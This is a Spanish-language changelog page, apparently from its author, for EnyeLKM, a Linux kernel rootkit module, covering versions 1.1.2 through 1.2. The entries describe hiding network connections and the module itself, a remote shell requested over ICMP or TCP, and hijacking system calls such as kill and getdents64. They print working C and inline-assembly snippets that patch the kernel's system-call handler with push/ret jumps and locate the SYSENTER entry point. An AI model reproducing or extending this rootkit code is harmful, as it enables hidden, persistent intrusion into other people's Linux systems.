projects
EnyeLKM 1.2
Escrito por David Reguera García   
Sabado 2 Junio 2007
DOWNLOAD

No tiene a la vista demasiadas novedades respecto a la v1.1, pero se han cambiado
técnicas internas como la de ocultar las conexiones a netstat, y se ha recodificado el
handler que maneja las syscalls. También se han corregido bugs y adaptado para los
nuevos kernels; está testeado en distros con kernels altamente modificados como
Fedora Core 6 o Mandriva 2007 (tambien se ha testeado en el último kernel disponible
hasta la fecha de hoy: v2.6.21.1). Como novedad al usuario incluye la opción de pedir la
shell remota via TCP, por si los ICMP están bloqueados por algún firewall intermedio.

Versión pública: http://www.enye-sec.org/

Ultima actualización( Sabado 2 Junio 2007 )


EnyeLKM 1.1.4-fix
Escrito por David Reguera García   
Sabado 24 Marzo 2007

DOWNLOAD

Corregido el problema del hacked_read (atomit_t) para la descarga, y corregido la versión
en el Makefile.

En la próxima versión se implementará el swapper :-).

PD: La descarga hasta que no acaben los reads no será posible por que si no fuera así
los mensajes del syslogd cantarían mucho. 

Ultima actualización( Sabado 24 Marzo 2007 )


EnyeLKM 1.1.4
Escrito por David Reguera García   
Viernes 23 Marzo 2007

DOWNLOAD

Nuevo módulo: restore_memory.c, el módulo es capaz de guardar la memoria
sobreescrita por los saltos para luego restaurarlos cuando se descargue el módulo (antes
no era posible descargarlo).

create_push_ret( & push_ret, (unsigned long) new_idt );
save_memory( (unsigned long) p, & backup_memory );
write_push_ret( ( void *) p, & push_ret );

Función cleanup del LKM:
restore_memory( & backup_memory );

__dev_remove_pack( & my_pkt );

/* dejar terminar procesos que estan 'leyendo' */
while ( read_activo != 0 || can_unload_lkm != 1 )
schedule();

Modificación en idt:
void new_idt( void )
{
can_unload_lkm = 0;
....
can_unload_lkm = 1;

JmPushRet( after_call )
...

El semáforo se usa por si hay ejecutandose alguna llamada al sistema redireccionada.

PD: Para probarlo comentar la función hide_module().

Ultima actualización( Viernes 23 Marzo 2007 )


EnyeLKM 1.1.3
Escrito por David Reguera García   
Jueves 22 Marzo 2007

DOWNLOAD

EnyeLKM 1.1.2 obtiene el SYSENTER en tiempo de ejecución con la instrucción:
rdmsr( MSR_IA32_SYSENTER_EIP, psysenter_entry, v2 );

YA NO DA UN SOLO WARNING!!! :-) al ejecutar make.
Además se ha reprogramado todo el base.c y se han creados dos módulos nuevos:

extern_symbols: donde existen funciones para obtener símbolos externo al LKM,
por ejemplo:
/* thx to Int27h :-). */
void * get_sysenter_entry( void )
{
void * psysenter_entry = NULL ;
unsigned long v2 ;

if ( boot_cpu_has( X86_FEATURE_SEP ) )
rdmsr( MSR_IA32_SYSENTER_EIP, psysenter_entry, v2 );
else
return NULL;

return psysenter_entry;
}

También se ha creado el módulo lowlevel_layer: gracias a él podemos abstraernos
muchísmo en los módulos que hagan rastreo en memoria de opcodes y demás funciones,
por ejemplo:

void set_idt_handler( void * system_call )
{
unsigned char * p;
push_ret_t push_ret;

p = (unsigned char *) system_call;

/* primer salto */
while ( !is_jnb_opcode( (unsigned char *) p ) )
p ++;

p -= DISTANCE_FROM_CMP_NR_SYSCALL_TO_JNB;

create_push_ret( & push_ret, (unsigned long) new_idt );
write_push_ret( ( void *) p, & push_ret )

...

Y antes esto era algo así:

void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2;

p = (unsigned char *) system_call;

/* primer salto */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p++;

p -= 5;

*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) new_idt;

p = (unsigned char *) p2;
*p = 0xc3;

Como se puede apreciar ahora es mucho más fácil abstraerse del problema gracias a la
capa "lowlevel".

La siguiente cosa que desarrollare es la posible descarga del módulo, habrá que crear mínimo otro módulo para la gestion de memoria con ESCRITURA-Y-RESTAURACIÓN para su descarga.

Recuerdo que pueden seguir el desarrollo más exhaustivamente en:
http://fr33project.org/enyelkm/

Ultima actualización( Jueves 22 Marzo 2007 )


EnyeLKM 1.1.2
Escrito por David Reguera García   
Martes 20 Marzo 2007

DOWNLOAD

EnyeLKM con easy-hook (no me he añadido aún a los créditos del baner), se usa el
método del IDT pero de una forma más elegante que teniéndolo en un buffer
"hardcodeado":

#include "idt.h"

#define ASMIDType( valor ) \
__asm__ volatile( valor );

#define JmPushRet( valor ) \
ASMIDType \
( \
"push %0 \n" \
"ret \n" \
\
: : "m" (valor) \
);

#define CallHookedSyscall( valor ) \
ASMIDType( "call * %0" : : "r" (valor) );

void hook( void )
{
register volatile int eax asm( "eax" );

switch( eax )
{
case __NR_kill:
CallHookedSyscall( hacked_kill );
break;

case __NR_getdents64:
CallHookedSyscall( hacked_getdents64 );
break;
....
default:
JmPushRet( dire_call );
break;
}

JmPushRet( after_call );
}

void new_idt( void )
{
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallmala \n"
"jmp hook \n"

"syscallmala: \n"
"jmp dire_exit \n"

: : "i" (NR_syscalls)
);

Ultima actualización( Martes 20 Marzo 2007 )